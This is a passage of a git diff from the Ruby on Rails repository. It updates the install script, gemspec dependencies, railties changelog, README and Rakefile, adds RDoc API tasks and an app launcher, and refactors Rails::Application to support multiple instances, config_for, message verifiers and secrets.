@@ -60,6 +60,8 @@ module RailsGuides
def guides_to_validate
guides = Dir["./output/*.html"]
guides.delete("./output/layout.html")
+ guides.delete("./output/_license.html")
+ guides.delete("./output/_welcome.html")
ENV.key?('ONLY') ? select_only(guides) : guides
end
diff --git a/install.rb b/install.rb
index b87b008c2e..96e4153165 100644
--- a/install.rb
+++ b/install.rb
@@ -1,11 +1,16 @@
version = ARGV.pop
-%w( activesupport activemodel activerecord actionpack actionmailer railties ).each do |framework|
+if version.nil?
+ puts "Usage: ruby install.rb version"
+ exit(64)
+end
+
+%w( activesupport activemodel activerecord actionpack actionview actionmailer railties activejob ).each do |framework|
puts "Installing #{framework}..."
`cd #{framework} && gem build #{framework}.gemspec && gem install #{framework}-#{version}.gem --no-ri --no-rdoc && rm #{framework}-#{version}.gem`
end
-puts "Installing Rails..."
+puts "Installing rails..."
`gem build rails.gemspec`
`gem install rails-#{version}.gem --no-ri --no-rdoc `
`rm rails-#{version}.gem`
diff --git a/rails.gemspec b/rails.gemspec
index ba94354bf1..be83304e2b 100644
--- a/rails.gemspec
+++ b/rails.gemspec
@@ -7,7 +7,7 @@ Gem::Specification.new do |s|
s.summary = 'Full-stack web application framework.'
s.description = 'Ruby on Rails is a full-stack web framework optimized for programmer happiness and sustainable productivity. It encourages beautiful code by favoring convention over configuration.'
- s.required_ruby_version = '>= 1.9.3'
+ s.required_ruby_version = '>= 2.1.0'
s.required_rubygems_version = '>= 1.8.11'
s.license = 'MIT'
@@ -16,16 +16,17 @@ Gem::Specification.new do |s|
s.email = 'david@loudthinking.com'
s.homepage = 'http://www.rubyonrails.org'
- s.bindir = 'bin'
- s.executables = []
- s.files = Dir['guides/**/*']
+ s.files = ['README.md'] + Dir['guides/**/*'] - Dir['guides/output/**/*']
s.add_dependency 'activesupport', version
s.add_dependency 'actionpack', version
+ s.add_dependency 'actionview', version
+ s.add_dependency 'activemodel', version
s.add_dependency 'activerecord', version
s.add_dependency 'actionmailer', version
+ s.add_dependency 'activejob', version
s.add_dependency 'railties', version
- s.add_dependency 'bundler', '>= 1.2.2', '< 2.0'
- s.add_dependency 'sprockets-rails', '~> 2.0.0.rc1'
+ s.add_dependency 'bundler', '>= 1.3.0', '< 2.0'
+ s.add_dependency 'sprockets-rails'
end
diff --git a/railties/CHANGELOG.md b/railties/CHANGELOG.md
index 543e080ae6..cd7f3b1e2f 100644
--- a/railties/CHANGELOG.md
+++ b/railties/CHANGELOG.md
@@ -1,145 +1 @@
-## Rails 4.0.0 (unreleased) ##
-
-* The public/index.html is no longer generated for new projects. Page is replaced by internal welcome_controller inside of railties
-
- *Richard Schneeman*
-
-* Add ENV['RACK_ENV'] support to `rails runner/console/server`.
-
- *kennyj*
-
-* Add `db` to list of folders included by `rake notes` and `rake notes:custom`. *Antonio Cangiano*
-
-* Engines with a dummy app include the rake tasks of dependencies in the app namespace.
- Fix #8229
-
- *Yves Senn*
-
-* Add sqlserver.yml template file to satisfy '-d sqlserver' being passed to 'rails new'.
- Fix #6882
-
- *Robert Nesius*
-
-* Rake test:uncommitted finds git directory in ancestors *Nicolas Despres*
-
-* Add dummy app Rake tasks when --skip-test-unit and --dummy-path is passed to the plugin generator.
- Fix #8121
-
- *Yves Senn*
-
-* Ensure that RAILS_ENV is set when accessing Rails.env *Steve Klabnik*
-
-* Don't eager-load app/assets and app/views *Elia Schito*
-
-* Add `.rake` to list of file extensions included by `rake notes` and `rake notes:custom`. *Brent J. Nordquist*
-
-* New test locations `test/models`, `test/helpers`, `test/controllers`, and
- `test/mailers`. Corresponding rake tasks added as well. *Mike Moore*
-
-* Set a different cache per environment for assets pipeline
- through `config.assets.cache`.
-
- *Guillermo Iguaran*
-
-* `Rails.public_path` now returns a Pathname object. *Prem Sichanugrist*
-
-* Remove highly uncommon `config.assets.manifest` option for moving the manifest path.
- This option is now unsupported in sprockets-rails.
-
- *Guillermo Iguaran & Dmitry Vorotilin*
-
-* Add `config.action_controller.permit_all_parameters` to disable
- StrongParameters protection, it's false by default.
-
- *Guillermo Iguaran*
-
-* Remove `config.active_record.whitelist_attributes` and
- `config.active_record.mass_assignment_sanitizer` from new applications since
- MassAssignmentSecurity has been extracted from Rails.
-
- *Guillermo Iguaran*
-
-* Change `rails new` and `rails plugin new` generators to name the `.gitkeep` files
- as `.keep` in a more SCM-agnostic way.
-
- Change `--skip-git` option to only skip the `.gitignore` file and still generate
- the `.keep` files.
-
- Add `--skip-keeps` option to skip the `.keep` files.
-
- *Derek Prior & Francesco Rodriguez*
-
-* Fixed support for DATABASE_URL environment variable for rake db tasks. *Grace Liu*
-
-* rails dbconsole now can use SSL for MySQL. The database.yml options sslca, sslcert, sslcapath, sslcipher,
- and sslkey now affect rails dbconsole. *Jim Kingdon and Lars Petrus*
-
-* Correctly handle SCRIPT_NAME when generating routes to engine in application
- that's mounted at a sub-uri. With this behavior, you *should not* use
- default_url_options[:script_name] to set proper application's mount point by
- yourself. *Piotr Sarnacki*
-
-* `config.threadsafe!` is deprecated in favor of `config.eager_load` which provides a more fine grained control on what is eager loaded *José Valim*
-
-* The migration generator will now produce AddXXXToYYY/RemoveXXXFromYYY migrations with references statements, for instance
-
- rails g migration AddReferencesToProducts user:references supplier:references{polymorphic}
-
- will generate the migration with:
-
- add_reference :products, :user, index: true
- add_reference :products, :supplier, polymorphic: true, index: true
-
- *Aleksey Magusev*
-
-* Allow scaffold/model/migration generators to accept a `polymorphic` modifier
- for `references`/`belongs_to`, for instance
-
- rails g model Product supplier:references{polymorphic}
-
- will generate the model with `belongs_to :supplier, polymorphic: true`
- association and appropriate migration.
-
- *Aleksey Magusev*
-
-* Set `config.active_record.migration_error` to `:page_load` for development *Richard Schneeman*
-
-* Add runner to Rails::Railtie as a hook called just after runner starts. *José Valim & kennyj*
-
-* Add `/rails/info/routes` path, displays same information as `rake routes` *Richard Schneeman & Andrew White*
-
-* Improved `rake routes` output for redirects *Åukasz StrzaÅ‚kowski & Andrew White*
-
-* Load all environments available in `config.paths["config/environments"]`. *Piotr Sarnacki*
-
-* Add `config.queue_consumer` to change the job queue consumer from the default `ActiveSupport::ThreadedQueueConsumer`. *Carlos Antonio da Silva*
-
-* Add `Rails.queue` for processing jobs in the background. *Yehuda Katz*
-
-* Remove Rack::SSL in favour of ActionDispatch::SSL. *Rafael Mendonça França*
-
-* Remove Active Resource from Rails framework. *Prem Sichangrist*
-
-* Allow to set class that will be used to run as a console, other than IRB, with `Rails.application.config.console=`. It's best to add it to `console` block. *Piotr Sarnacki*
-
- Example:
-
- # it can be added to config/application.rb
- console do
- # this block is called only when running console,
- # so we can safely require pry here
- require "pry"
- config.console = Pry
- end
-
-* Add convenience `hide!` method to Rails generators to hide current generator
- namespace from showing when running `rails generate`. *Carlos Antonio da Silva*
-
-* Scaffold now uses `content_tag_for` in index.html.erb *José Valim*
-
-* Rails::Plugin has gone. Instead of adding plugins to vendor/plugins use gems or bundler with path or git dependencies. *Santiago Pastorino*
-
-* Set config.action_mailer.async = true to turn on asynchronous
- message delivery *Brian Cardarella*
-
-Please check [3-2-stable](https://github.com/rails/rails/blob/3-2-stable/railties/CHANGELOG.md) for previous changes.
+Please check [4-2-stable](https://github.com/rails/rails/blob/4-2-stable/railties/CHANGELOG.md) for previous changes.
diff --git a/railties/MIT-LICENSE b/railties/MIT-LICENSE
index 03bde18130..2950f05b11 100644
--- a/railties/MIT-LICENSE
+++ b/railties/MIT-LICENSE
@@ -1,4 +1,4 @@
-Copyright (c) 2004-2012 David Heinemeier Hansson
+Copyright (c) 2004-2014 David Heinemeier Hansson
Permission is hereby granted, free of charge, to any person obtaining
a copy of this software and associated documentation files (the
diff --git a/railties/RDOC_MAIN.rdoc b/railties/RDOC_MAIN.rdoc
new file mode 100644
index 0000000000..8d847eaa1c
--- /dev/null
+++ b/railties/RDOC_MAIN.rdoc
@@ -0,0 +1,73 @@
+== Welcome to \Rails
+
+\Rails is a web-application framework that includes everything needed to create
+database-backed web applications according to the {Model-View-Controller (MVC)}[http://en.wikipedia.org/wiki/Model-view-controller] pattern.
+
+Understanding the MVC pattern is key to understanding \Rails. MVC divides your application
+into three layers, each with a specific responsibility.
+
+The View layer is composed of "templates" that are responsible for providing
+appropriate representations of your application's resources. Templates
+can come in a variety of formats, but most view templates are \HTML with embedded Ruby
+code (.erb files).
+
+The Model layer represents your domain model (such as Account, Product, Person, Post)
+and encapsulates the business logic that is specific to your application. In \Rails,
+database-backed model classes are derived from ActiveRecord::Base. Active Record allows
+you to present the data from database rows as objects and embellish these data objects
+with business logic methods. Although most \Rails models are backed by a database, models
+can also be ordinary Ruby classes, or Ruby classes that implement a set of interfaces as
+provided by the ActiveModel module. You can read more about Active Record in its
+{README}[link:files/activerecord/README_rdoc.html].
+
+The Controller layer is responsible for handling incoming HTTP requests and providing a
+suitable response. Usually this means returning \HTML, but \Rails controllers can also
+generate XML, JSON, PDFs, mobile-specific views, and more. Controllers manipulate models
+and render view templates in order to generate the appropriate HTTP response.
+
+In \Rails, the Controller and View layers are handled together by Action Pack.
+These two layers are bundled in a single package due to their heavy interdependence.
+This is unlike the relationship between Active Record and Action Pack, which are
+independent. Each of these packages can be used independently outside of \Rails. You
+can read more about Action Pack in its {README}[link:files/actionpack/README_rdoc.html].
+
+== Getting Started
+
+1. Install \Rails at the command prompt if you haven't yet:
+
+ gem install rails
+
+2. At the command prompt, create a new \Rails application:
+
+ rails new myapp
+
+ where "myapp" is the application name.
+
+3. Change directory to +myapp+ and start the web server:
+
+ cd myapp; rails server
+
+ Run with <tt>--help</tt> or <tt>-h</tt> for options.
+
+4. Go to http://localhost:3000 and you'll see:
+
+ "Welcome aboard: You're riding Ruby on Rails!"
+
+5. Follow the guidelines to start developing your application. You may find the following resources handy:
+
+* The \README file created within your application.
+* {Getting Started with \Rails}[http://guides.rubyonrails.org/getting_started.html].
+* {Ruby on \Rails Tutorial}[http://ruby.railstutorial.org/ruby-on-rails-tutorial-book].
+* {Ruby on \Rails Guides}[http://guides.rubyonrails.org].
+* {The API Documentation}[http://api.rubyonrails.org].
+
+== Contributing
+
+We encourage you to contribute to Ruby on \Rails! Please check out the {Contributing to Rails
+guide}[http://edgeguides.rubyonrails.org/contributing_to_ruby_on_rails.html] for guidelines about how
+to proceed. {Join us}[http://contributors.rubyonrails.org]!
+
+
+== License
+
+Ruby on \Rails is released under the {MIT License}[http://www.opensource.org/licenses/MIT].
diff --git a/railties/README.rdoc b/railties/README.rdoc
index 6248b5feed..a25658668c 100644
--- a/railties/README.rdoc
+++ b/railties/README.rdoc
@@ -31,7 +31,11 @@ API documentation is at
* http://api.rubyonrails.org
-Bug reports and feature requests can be filed with the rest for the Ruby on Rails project here:
+Bug reports can be filed for the Ruby on Rails project here:
* https://github.com/rails/rails/issues
+Feature requests should be discussed on the rails-core mailing list here:
+
+* https://groups.google.com/forum/?fromgroups#!forum/rubyonrails-core
+
diff --git a/railties/Rakefile b/railties/Rakefile
index 8576275aea..9a377ce4ee 100644
--- a/railties/Rakefile
+++ b/railties/Rakefile
@@ -1,17 +1,16 @@
require 'rake/testtask'
require 'rubygems/package_task'
-require 'date'
-require 'rbconfig'
-
-
task :default => :test
+
+desc "Run all unit tests"
task :test => 'test:isolated'
namespace :test do
task :isolated do
- dir = ENV["TEST_DIR"] || "**"
- Dir["test/#{dir}/*_test.rb"].each do |file|
+ dirs = (ENV["TEST_DIR"] || ENV["TEST_DIRS"] || "**").split(",")
+ test_files = dirs.map { |dir| "test/#{dir}/*_test.rb" }
+ Dir[*test_files].each do |file|
next true if file.include?("fixtures")
dash_i = [
'test',
@@ -20,7 +19,7 @@ namespace :test do
"#{File.dirname(__FILE__)}/../actionpack/lib",
"#{File.dirname(__FILE__)}/../activemodel/lib"
]
- ruby "-I#{dash_i.join ':'}", file
+ ruby "-w", "-I#{dash_i.join ':'}", file
end
end
end
@@ -30,15 +29,7 @@ Rake::TestTask.new('test:regular') do |t|
t.pattern = 'test/**/*_test.rb'
t.warning = true
t.verbose = true
-end
-
-# Update spinoffs -------------------------------------------------------------------
-
-desc "Updates application README to the latest version Railties README"
-task :update_readme do
- readme = "lib/rails/generators/rails/app/templates/README"
- rm readme
- cp "./README.rdoc", readme
+ t.ruby_opts = ["--dev"] if defined?(JRUBY_VERSION)
end
# Generate GEM ----------------------------------------------------------------------------
@@ -51,7 +42,7 @@ end
# Publishing -------------------------------------------------------
-desc "Release to gemcutter"
+desc "Release to rubygems"
task :release => :package do
require 'rake/gemcutter'
Rake::Gemcutter::Tasks.new(spec).define
diff --git a/railties/bin/rails b/railties/bin/rails
index a1c4faaa73..82c17cabce 100755
--- a/railties/bin/rails
+++ b/railties/bin/rails
@@ -1,6 +1,8 @@
#!/usr/bin/env ruby
-if File.exists?(File.join(File.expand_path('../../..', __FILE__), '.git'))
+git_path = File.expand_path('../../../.git', __FILE__)
+
+if File.exist?(git_path)
railties_path = File.expand_path('../../lib', __FILE__)
$:.unshift(railties_path)
end
diff --git a/railties/lib/rails.rb b/railties/lib/rails.rb
index 2797205334..e7172e491f 100644
--- a/railties/lib/rails.rb
+++ b/railties/lib/rails.rb
@@ -3,12 +3,13 @@ require 'rails/ruby_version_check'
require 'pathname'
require 'active_support'
+require 'active_support/dependencies/autoload'
require 'active_support/core_ext/kernel/reporting'
+require 'active_support/core_ext/module/delegation'
require 'active_support/core_ext/array/extract_options'
require 'rails/application'
require 'rails/version'
-require 'rails/deprecation'
require 'active_support/railtie'
require 'action_dispatch/railtie'
@@ -20,43 +21,27 @@ silence_warnings do
end
module Rails
- autoload :Info, 'rails/info'
- autoload :InfoController, 'rails/info_controller'
- autoload :WelcomeController, 'rails/welcome_controller'
+ extend ActiveSupport::Autoload
+
+ autoload :Info
+ autoload :InfoController
+ autoload :MailersController
+ autoload :WelcomeController
class << self
- attr_accessor :application, :cache, :logger
+ @application = @app_class = nil
- # The Configuration instance used to configure the Rails environment
- def configuration
- application.config
+ attr_writer :application
+ attr_accessor :app_class, :cache, :logger
+ def application
+ @application ||= (app_class.instance if app_class)
end
- # Rails.queue is the application's queue. You can push a job onto
- # the queue by:
- #
- # Rails.queue.push job
- #
- # A job is an object that responds to +run+. Queue consumers will
- # pop jobs off of the queue and invoke the queue's +run+ method.
- #
- # Note that depending on your queue implementation, jobs may not
- # be executed in the same process as they were created in, and
- # are never executed in the same thread as they were created in.
- #
- # If necessary, a queue implementation may need to serialize your
- # job for distribution to another process. The documentation of
- # your queue will specify the requirements for that serialization.
- def queue
- application.queue
- end
+ delegate :initialize!, :initialized?, to: :application
- def initialize!
- application.initialize!
- end
-
- def initialized?
- application.initialized?
+ # The Configuration instance used to configure the Rails environment
+ def configuration
+ application.config
end
def backtrace_cleaner
@@ -72,10 +57,7 @@ module Rails
end
def env
- @_env ||= begin
- ENV["RAILS_ENV"] ||= ENV["RACK_ENV"] || "development"
- ActiveSupport::StringInquirer.new(ENV["RAILS_ENV"])
- end
+ @_env ||= ActiveSupport::StringInquirer.new(ENV["RAILS_ENV"] || ENV["RACK_ENV"] || "development")
end
def env=(environment)
@@ -98,16 +80,12 @@ module Rails
env = Rails.env
groups.unshift(:default, env)
groups.concat ENV["RAILS_GROUPS"].to_s.split(",")
- groups.concat hash.map { |k,v| k if v.map(&:to_s).include?(env) }
+ groups.concat hash.map { |k, v| k if v.map(&:to_s).include?(env) }
groups.compact!
groups.uniq!
groups
end
- def version
- VERSION::STRING
- end
-
def public_path
application && Pathname.new(application.paths["public"].first)
end
diff --git a/railties/lib/rails/all.rb b/railties/lib/rails/all.rb
index 6c9c53fc69..45361fca83 100644
--- a/railties/lib/rails/all.rb
+++ b/railties/lib/rails/all.rb
@@ -3,7 +3,9 @@ require "rails"
%w(
active_record
action_controller
+ action_view
action_mailer
+ active_job
rails/test_unit
sprockets
).each do |framework|
diff --git a/railties/lib/rails/api/task.rb b/railties/lib/rails/api/task.rb
new file mode 100644
index 0000000000..4d49244807
--- /dev/null
+++ b/railties/lib/rails/api/task.rb
@@ -0,0 +1,170 @@
+require 'rdoc/task'
+
+module Rails
+ module API
+ class Task < RDoc::Task
+ RDOC_FILES = {
+ 'activesupport' => {
+ :include => %w(
+ README.rdoc
+ lib/active_support/**/*.rb
+ ),
+ :exclude => 'lib/active_support/vendor/*'
+ },
+
+ 'activerecord' => {
+ :include => %w(
+ README.rdoc
+ lib/active_record/**/*.rb
+ )
+ },
+
+ 'activemodel' => {
+ :include => %w(
+ README.rdoc
+ lib/active_model/**/*.rb
+ )
+ },
+
+ 'actionpack' => {
+ :include => %w(
+ README.rdoc
+ lib/abstract_controller/**/*.rb
+ lib/action_controller/**/*.rb
+ lib/action_dispatch/**/*.rb
+ )
+ },
+
+ 'actionview' => {
+ :include => %w(
+ README.rdoc
+ lib/action_view/**/*.rb
+ ),
+ :exclude => 'lib/action_view/vendor/*'
+ },
+
+ 'actionmailer' => {
+ :include => %w(
+ README.rdoc
+ lib/action_mailer/**/*.rb
+ )
+ },
+
+ 'activejob' => {
+ :include => %w(
+ README.md
+ lib/active_job/**/*.rb
+ )
+ },
+
+ 'railties' => {
+ :include => %w(
+ README.rdoc
+ lib/**/*.rb
+ ),
+ :exclude => 'lib/rails/generators/rails/**/templates/**/*.rb'
+ }
+ }
+
+ def initialize(name)
+ super
+
+ # Every time rake runs this task is instantiated as all the rest.
+ # Be lazy computing stuff to have as light impact as possible to
+ # the rest of tasks.
+ before_running_rdoc do
+ load_and_configure_sdoc
+ configure_rdoc_files
+ setup_horo_variables
+ end
+ end
+
+ # Hack, ignore the desc calls performed by the original initializer.
+ def desc(description)
+ # no-op
+ end
+
+ def load_and_configure_sdoc
+ require 'sdoc'
+
+ self.title = 'Ruby on Rails API'
+ self.rdoc_dir = api_dir
+
+ options << '-m' << api_main
+ options << '-e' << 'UTF-8'
+
+ options << '-f' << 'sdoc'
+ options << '-T' << 'rails'
+ rescue LoadError
+ $stderr.puts %(Unable to load SDoc, please add\n\n gem 'sdoc', require: false\n\nto the Gemfile.)
+ exit 1
+ end
+
+ def configure_rdoc_files
+ rdoc_files.include(api_main)
+
+ RDOC_FILES.each do |component, cfg|
+ cdr = component_root_dir(component)
+
+ Array(cfg[:include]).each do |pattern|
+ rdoc_files.include("#{cdr}/#{pattern}")
+ end
+
+ Array(cfg[:exclude]).each do |pattern|
+ rdoc_files.exclude("#{cdr}/#{pattern}")
+ end
+ end
+ end
+
+ def setup_horo_variables
+ ENV['HORO_PROJECT_NAME'] = 'Ruby on Rails'
+ ENV['HORO_PROJECT_VERSION'] = rails_version
+ end
+
+ def api_main
+ component_root_dir('railties') + '/RDOC_MAIN.rdoc'
+ end
+ end
+
+ class RepoTask < Task
+ def load_and_configure_sdoc
+ super
+ options << '-g' # link to GitHub, SDoc flag
+ end
+
+ def component_root_dir(component)
+ component
+ end
+
+ def api_dir
+ 'doc/rdoc'
+ end
+ end
+
+ class EdgeTask < RepoTask
+ def rails_version
+ "master@#{`git rev-parse HEAD`[0, 7]}"
+ end
+ end
+
+ class StableTask < RepoTask
+ def rails_version
+ File.read('RAILS_VERSION').strip
+ end
+ end
+
+ class AppTask < Task
+ def component_root_dir(gem_name)
+ $:.grep(%r{#{gem_name}[\w.-]*/lib\z}).first[0..-5]
+ end
+
+ def api_dir
+ 'doc/api'
+ end
+
+ def rails_version
+ Rails::VERSION::STRING
+ end
+ end
+ end
+end
diff --git a/railties/lib/rails/app_rails_loader.rb b/railties/lib/rails/app_rails_loader.rb
new file mode 100644
index 0000000000..39d8007333
--- /dev/null
+++ b/railties/lib/rails/app_rails_loader.rb
@@ -0,0 +1,63 @@
+require 'pathname'
+
+module Rails
+ module AppRailsLoader
+ extend self
+
+ RUBY = Gem.ruby
+ EXECUTABLES = ['bin/rails', 'script/rails']
+ BUNDLER_WARNING = <<EOS
+Looks like your app's ./bin/rails is a stub that was generated by Bundler.
+
+In Rails 4, your app's bin/ directory contains executables that are versioned
+like any other source code, rather than stubs that are generated on demand.
+
+Here's how to upgrade:
+
+ bundle config --delete bin # Turn off Bundler's stub generator
+ rake rails:update:bin # Use the new Rails 4 executables
+ git add bin # Add bin/ to source control
+
+You may need to remove bin/ from your .gitignore as well.
+
+When you install a gem whose executable you want to use in your app,
+generate it and add it to source control:
+
+ bundle binstubs some-gem-name
+ git add bin/new-executable
+
+EOS
+
+ def exec_app_rails
+ original_cwd = Dir.pwd
+
+ loop do
+ if exe = find_executable
+ contents = File.read(exe)
+
+ if contents =~ /(APP|ENGINE)_PATH/
+ exec RUBY, exe, *ARGV
+ break # non reachable, hack to be able to stub exec in the test suite
+ elsif exe.end_with?('bin/rails') && contents.include?('This file was generated by Bundler')
+ $stderr.puts(BUNDLER_WARNING)
+ Object.const_set(:APP_PATH, File.expand_path('config/application', Dir.pwd))
+ require File.expand_path('../boot', APP_PATH)
+ require 'rails/commands'
+ break
+ end
+ end
+
+ # If we exhaust the search there is no executable, this could be a
+ # call to generate a new application, so restore the original cwd.
+ Dir.chdir(original_cwd) and return if Pathname.new(Dir.pwd).root?
+
+ # Otherwise keep moving upwards in search of an executable.
+ Dir.chdir('..')
+ end
+ end
+
+ def find_executable
+ EXECUTABLES.find { |exe| File.file?(exe) }
+ end
+ end
+end
diff --git a/railties/lib/rails/application.rb b/railties/lib/rails/application.rb
index bf3a26d400..f8bd6096f2 100644
--- a/railties/lib/rails/application.rb
+++ b/railties/lib/rails/application.rb
@@ -1,7 +1,8 @@
require 'fileutils'
-require 'active_support/queueing'
-# FIXME remove DummyKeyGenerator and this require in 4.1
+require 'active_support/core_ext/hash/keys'
+require 'active_support/core_ext/object/blank'
require 'active_support/key_generator'
+require 'active_support/message_verifier'
require 'rails/engine'
module Rails
@@ -47,43 +48,92 @@ module Rails
# 6) Run config.before_initialize callbacks
# 7) Run Railtie#initializer defined by railties, engines and application.
# One by one, each engine sets up its load paths, routes and runs its config/initializers/* files.
- # 9) Custom Railtie#initializers added by railties, engines and applications are executed
- # 10) Build the middleware stack and run to_prepare callbacks
- # 11) Run config.before_eager_load and eager_load! if eager_load is true
- # 12) Run config.after_initialize callbacks
+ # 8) Custom Railtie#initializers added by railties, engines and applications are executed
+ # 9) Build the middleware stack and run to_prepare callbacks
+ # 10) Run config.before_eager_load and eager_load! if eager_load is true
+ # 11) Run config.after_initialize callbacks
#
+ # == Multiple Applications
+ #
+ # If you decide to define multiple applications, then the first application
+ # that is initialized will be set to +Rails.application+, unless you override
+ # it with a different application.
+ #
+ # To create a new application, you can instantiate a new instance of a class
+ # that has already been created:
+ #
+ # class Application < Rails::Application
+ # end
+ #
+ # first_application = Application.new
+ # second_application = Application.new(config: first_application.config)
+ #
+ # In the above example, the configuration from the first application was used
+ # to initialize the second application. You can also use the +initialize_copy+
+ # on one of the applications to create a copy of the application which shares
+ # the configuration.
+ #
+ # If you decide to define rake tasks, runners, or initializers in an
+ # application other than +Rails.application+, then you must run those
+ # these manually.
class Application < Engine
- autoload :Bootstrap, 'rails/application/bootstrap'
- autoload :Configuration, 'rails/application/configuration'
- autoload :Finisher, 'rails/application/finisher'
- autoload :RoutesReloader, 'rails/application/routes_reloader'
+ autoload :Bootstrap, 'rails/application/bootstrap'
+ autoload :Configuration, 'rails/application/configuration'
+ autoload :DefaultMiddlewareStack, 'rails/application/default_middleware_stack'
+ autoload :Finisher, 'rails/application/finisher'
+ autoload :Railties, 'rails/engine/railties'
+ autoload :RoutesReloader, 'rails/application/routes_reloader'
class << self
def inherited(base)
- raise "You cannot have more than one Rails::Application" if Rails.application
super
- Rails.application = base.instance
- Rails.application.add_lib_to_load_path!
- ActiveSupport.run_load_hooks(:before_configuration, base.instance)
+ Rails.app_class = base
+ add_lib_to_load_path!(find_root(base.called_from))
end
+
+ def instance
+ super.run_load_hooks!
+ end
+
+ def create(initial_variable_values = {}, &block)
+ new(initial_variable_values, &block).run_load_hooks!
+ end
+
+ def find_root(from)
+ find_root_with_flag "config.ru", from, Dir.pwd
+ end
+
+ # Makes the +new+ method public.
+ #
+ # Note that Rails::Application inherits from Rails::Engine, which
+ # inherits from Rails::Railtie and the +new+ method on Rails::Railtie is
+ # private
+ public :new
end
- attr_accessor :assets, :sandbox, :queue_consumer
+ attr_accessor :assets, :sandbox
alias_method :sandbox?, :sandbox
attr_reader :reloaders
- attr_writer :queue
delegate :default_url_options, :default_url_options=, to: :routes
- def initialize
- super
- @initialized = false
- @reloaders = []
- @routes_reloader = nil
- @env_config = nil
- @ordered_railties = nil
- @railties = nil
- @queue = nil
+ INITIAL_VARIABLES = [:config, :railties, :routes_reloader, :reloaders,
+ :routes, :helpers, :app_env_config, :secrets] # :nodoc:
+
+ def initialize(initial_variable_values = {}, &block)
+ super()
+ @initialized = false
+ @reloaders = []
+ @routes_reloader = nil
+ @app_env_config = nil
+ @ordered_railties = nil
+ @railties = nil
+ @message_verifiers = {}
+ @ran_load_hooks = false
+
+ # are these actually used?
+ @initial_variable_values = initial_variable_values
+ @block = block
end
# Returns true if the application is initialized.
@@ -91,10 +141,26 @@ module Rails
@initialized
end
+ def run_load_hooks! # :nodoc:
+ return self if @ran_load_hooks
+ @ran_load_hooks = true
+ ActiveSupport.run_load_hooks(:before_configuration, self)
+
+ @initial_variable_values.each do |variable_name, value|
+ if INITIAL_VARIABLES.include?(variable_name)
+ instance_variable_set("@#{variable_name}", value)
+ end
+ end
+
+ instance_eval(&@block) if @block
+ self
+ end
+
# Implements call according to the Rack API. It simply
# dispatches the request to the underlying middleware stack.
def call(env)
env["ORIGINAL_FULLPATH"] = build_original_fullpath(env)
+ env["ORIGINAL_SCRIPT_NAME"] = env["SCRIPT_NAME"]
super(env)
end
@@ -103,55 +169,87 @@ module Rails
routes_reloader.reload!
end
-
# Return the application's KeyGenerator
def key_generator
# number of iterations selected based on consultation with the google security
# team. Details at https://github.com/rails/rails/pull/6952#issuecomment-7661220
- @caching_key_generator ||= begin
- if config.secret_key_base
- key_generator = ActiveSupport::KeyGenerator.new(config.secret_key_base, iterations: 1000)
+ @caching_key_generator ||=
+ if secrets.secret_key_base
+ key_generator = ActiveSupport::KeyGenerator.new(secrets.secret_key_base, iterations: 1000)
ActiveSupport::CachingKeyGenerator.new(key_generator)
else
- ActiveSupport::DummyKeyGenerator.new(config.secret_token)
+ ActiveSupport::LegacyKeyGenerator.new(secrets.secret_token)
end
+ end
+
+ # Returns a message verifier object.
+ #
+ # This verifier can be used to generate and verify signed messages in the application.
+ #
+ # It is recommended not to use the same verifier for different things, so you can get different
+ # verifiers passing the +verifier_name+ argument.
+ #
+ # ==== Parameters
+ #
+ # * +verifier_name+ - the name of the message verifier.
+ #
+ # ==== Examples
+ #
+ # message = Rails.application.message_verifier('sensitive_data').generate('my sensible data')
+ # Rails.application.message_verifier('sensitive_data').verify(message)
+ # # => 'my sensible data'
+ #
+ # See the +ActiveSupport::MessageVerifier+ documentation for more information.
+ def message_verifier(verifier_name)
+ @message_verifiers[verifier_name] ||= begin
+ secret = key_generator.generate_key(verifier_name.to_s)
+ ActiveSupport::MessageVerifier.new(secret)
end
end
- # Stores some of the Rails initial environment parameters which
- # will be used by middlewares and engines to configure themselves.
- # Currently stores:
+ # Convenience for loading config/foo.yml for the current Rails env.
#
- # * "action_dispatch.parameter_filter" => config.filter_parameters
- # * "action_dispatch.redirect_filter" => config.filter_redirect
- # * "action_dispatch.secret_token" => config.secret_token,
- # * "action_dispatch.show_exceptions" => config.action_dispatch.show_exceptions
- # * "action_dispatch.show_detailed_exceptions" => config.consider_all_requests_local
- # * "action_dispatch.logger" => Rails.logger
- # * "action_dispatch.backtrace_cleaner" => Rails.backtrace_cleaner
- # * "action_dispatch.key_generator" => key_generator
- # * "action_dispatch.http_auth_salt" => config.action_dispatch.http_auth_salt
- # * "action_dispatch.signed_cookie_salt" => config.action_dispatch.signed_cookie_salt
- # * "action_dispatch.encrypted_cookie_salt" => config.action_dispatch.encrypted_cookie_salt
- # * "action_dispatch.encrypted_signed_cookie_salt" => config.action_dispatch.encrypted_signed_cookie_salt
+ # Example:
#
- # These parameters will be used by middlewares and engines to configure themselves
+ # # config/exception_notification.yml:
+ # production:
+ # url: http://127.0.0.1:8080
+ # namespace: my_app_production
+ # development:
+ # url: http://localhost:3001
+ # namespace: my_app_development
#
+ # # config/production.rb
+ # Rails.application.configure do
+ # config.middleware.use ExceptionNotifier, config_for(:exception_notification)
+ # end
+ def config_for(name)
+ yaml = Pathname.new("#{paths["config"].existent.first}/#{name}.yml")
+
+ if yaml.exist?
+ require "yaml"
+ require "erb"
+ (YAML.load(ERB.new(yaml.read).result) || {})[Rails.env] || {}
+ else
+ raise "Could not load configuration. No such file - #{yaml}"
+ end
+ rescue Psych::SyntaxError => e
+ raise "YAML syntax error occurred while parsing #{yaml}. " \
+ "Please note that YAML must be consistently indented using spaces. Tabs are not allowed. " \
+ "Error: #{e.message}"
+ end
+
+ # Stores some of the Rails initial environment parameters which
+ # will be used by middlewares and engines to configure themselves.
def env_config
- @env_config ||= begin
- if config.secret_key_base.nil?
- ActiveSupport::Deprecation.warn "You didn't set config.secret_key_base. " +
- "This should be used instead of the old deprecated config.secret_token. " +
- "Set config.secret_key_base instead of config.secret_token in config/initializers/secret_token.rb"
- if config.secret_token.blank?
- raise "You must set config.secret_key_base in your app's config"
- end
- end
+ @app_env_config ||= begin
+ validate_secret_key_config!
super.merge({
"action_dispatch.parameter_filter" => config.filter_parameters,
"action_dispatch.redirect_filter" => config.filter_redirect,
- "action_dispatch.secret_token" => config.secret_token,
+ "action_dispatch.secret_token" => secrets.secret_token,
+ "action_dispatch.secret_key_base" => secrets.secret_key_base,
"action_dispatch.show_exceptions" => config.action_dispatch.show_exceptions,
"action_dispatch.show_detailed_exceptions" => config.consider_all_requests_local,
"action_dispatch.logger" => Rails.logger,
